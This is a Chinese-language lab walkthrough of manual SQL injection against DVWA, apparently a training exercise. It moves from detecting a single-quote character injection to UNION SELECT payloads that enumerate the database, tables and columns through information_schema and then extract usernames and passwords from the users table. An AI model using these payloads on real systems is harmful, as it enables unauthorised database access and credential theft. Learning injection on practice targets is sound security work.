1、首先判断漏洞的类型
(1)在搜索框中输入1,发现存在回显,得知不是盲注
(2)分别输入1 and 1=1和1 and 1=2(嵌入sql语句),发现结果一致,得知不是整形注入
(3)输入1’,发现报错
(4)检查是否是与单引号有关的字符型注入,分别输入1’ and ‘1’ ='1和1’ and ‘1’='2,发现第二个没有回显,得知是单引号字符型注入
(5)通过输入1' order by '数字' #
爆字段数
注:#
为注释符,可以把后面的语句给注释掉,也可以使用其它注释符代替,例如--+
,但此处经过测试发现--+
会被转译,导致不能使用
先后通过测试1和2都没有报错,当测试到3的时候报错了,说明字段数是2个
(6)通过输入-1' union select 1,2 #
判断回显位置
(7)通过输入-1' union select 1,database() #
,得知数据库名字为dvwa
(8)通过输入-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #
,得知存在两个表,且表名分别为guestbook
和users
,到此可知users
中有我们需要的东西
(在数据库中存在一个默认数据库information_schema.tables
里面存有其他数据库的信息)
(9)通过输入-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
,得知字段名分别为user_id
、first_name
、last_name
、user
、password
、avatar
、id
、username
、password
、id
、uname
、passwd
(10)通过输入-1' union select user,password from users limit 0,1 #
,可以得知用户名和对应的密码,不过需要修改limit number,1
中的number
,逐一显示出来